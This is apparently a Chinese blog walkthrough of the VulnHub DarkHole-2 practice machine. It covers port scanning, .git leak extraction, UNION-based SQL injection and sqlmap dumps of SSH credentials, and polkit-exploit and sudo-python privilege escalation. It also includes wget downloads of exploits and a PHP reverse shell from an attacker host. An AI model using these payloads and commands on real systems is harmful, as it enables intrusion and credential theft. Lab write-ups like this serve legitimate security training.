DarkHole靶机渗透

一、DarkHole靶机下载

https://www.vulnhub.com/entry/darkhole-2,740/
下载后双击ovf文件
在这里插入图片描述

二、DarkHole靶机分析

1.使用nmap扫描端口,我这里是nat模式

nmap -sP 192.168.146.0/24这里-sP意思是ping扫描
在这里插入图片描述

2.访问IP地址,发现80端口开放只有个登录窗口。

在这里插入图片描述
在这里插入图片描述

3.描一下IP地址的详细信息

nmap -A 192.168.146.128 -p-
-A参数表示使用高级扫描选项,包括操作系统检测、版本检测、脚本扫描等。
-p-参数表示扫描全端口。

官方给出的解释是:Git是一个开源的分布式版本控制系统 ,我们简单的理解为Git 是一个内容寻址文件系统,也就是说Git 的核心部分是键值对数据库。 当我们向 Git 仓库中插入任意类型的内容(开发者们在其中做的版本信息修改之类的操作),它会返回一个唯一的键,通过该键可以在任意时刻再次取回该内容

Git是一个可以实现有效控制应用版本的系统,但是在一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。那么,一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。
在这里插入图片描述

4.发现.git泄露,通过githacker将泄露的文件下载下来

githacker --url http://192.168.146.128/.git/ --output-folder dark这里 --output-folder参数的意思是生成一个dark文件夹将下载的文件放到这个文件夹中。

用于检测站点是否存在.git文件夹泄漏漏洞。几乎可以完全下载目标文件夹。当该DirectoryListings功能被禁用时,此工具也有效。值得一提的是,该工具会下载目标git存储库的几乎所有文件,然后在本地重建。

下载githacker命令python3 -m pip install -i https://pypi.org/simple/ GitHacker
在这里插入图片描述

5.进入到git文件目录

使用git log命令查看git日志,在日志中发现了一个带有默认凭证的分支。
在这里插入图片描述

6.切换到该分支查看一下这个login.php

git checkout a4d900a8d85e8938d3601f3cef113ee293028e10
在这里插入图片描述

7.查看login.php文件,获得用户密码

在这里插入图片描述

8.登录页面后,发现sql注入

在这里插入图片描述

9.SQL注入

方法一:
  1. ?id=1' order by 6 --+查看id值有几个
    在这里插入图片描述

  2. 构造union语句,确定哪些列数据可以显示,2、3、5、6列被显示在页面上,接下来将对应的数字换成SQL查询语句就可以获取数据库中的信息。
    id=' union all select 1,2,3,4,5,6 --+

  3. 查询数据库名,得到数据库名darkhole_2
    id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
    在这里插入图片描述

  4. 查询表名,得到表ssh和users
    ?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+

  5. 查询ssh表中的列名,得到列名id,user,pass
    ?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+

  6. 查询列user和pass的数据,得到ssh的用户名jehad和密码fool,可以尝试登录下ssh
    ?id=' union all select 1,user,pass,4,5,6 FROM ssh--+

方法二:sqlmap直接爆破但是需要cookie值

指定cookie信息,用来代理登陆状态,如果站点目标URL需要登陆之后才能访问,那么在使用sqlmap对目标URL进行扫描时需要将登陆后的cookie一并带过去,不然sqlmap的扫描有可能会被重定向到登陆页面,或者没有访问该接口的权限

  1. 爆破数据库名
    sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' --dbs
  2. 爆破数据库表名
    sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 --tables
  3. 爆破数据表结构
    sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 -T ssh --columns
  4. 脱库
    sqlmap -u http://192.168.146.128/dashboard.php?id=1 --cookie='PHPSESSID=ogapihjks384krpc7jb2tn0j6d' -D darkhole_2 -T ssh -C user,pass --dump
    | user | pass | | jehad | fool |

10.ssh远程连接

11.提权

方法一:
  1. 查找suid权限
    find / -perm -4000 2>/dev/null

    polkit:PolKit(以前称为 PolicyKit)是一个应用程序框架,充当非特权用户会话与特权系统环境之间的协商者
  2. 搜索漏洞
  3. 下载漏洞文件
  4. 查看文件
  5. 使用命令编译漏洞文件中已经告诉命令,无法在被攻击机中编译采用centos编译
    gcc -shared -o evil.so -fPIC evil-so.c
    gcc exploit.c -o exploit
  6. 启用python3将编译好的evil-so.c和exploit上传到被攻击机中
    python -m http.server 80
  7. 下载exp文件
    wget http://192.168.146.129/evil.so
    wget http://192.168.146.129/exploit
  8. 加权限
    chmode 777 exploit
    chmod 777 exploit
  9. ./exploit执行文件
方法二:
  1. 查看历史命令,发现curl "http://127.0.0.1:9999/?cmd=id"

  2. 将9999端口映射到本地回环地址9999端口
    ssh -L 127.0.0.1:9999:192.168.146.128:9999 jehad@192.168.146.128

  3. 复制kali自带的脚本到tmp文件夹下
    在这里插入图片描述

  4. 修改复制出来的shell反弹脚本vim 1.php
    在这里插入图片描述

  5. 启动python3 -m http.server 80
    在这里插入图片描述

  6. 远程下载记得在/tmp文件夹下wget http://192.168.146.129/1.php

  7. 使用命令chmod 777 1.php加可执行权限
    在这里插入图片描述

  8. 执行1.php文件php 1.php
    在这里插入图片描述

  9. nc成功接收到反弹shell

  10. cat .bash_history 查看历史记录发现密码,使用sudo -l查看是否有特殊权限

  11. 提权sudo /usr/bin/python3 -c "import os;os.system(’/bin/bash’)"

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值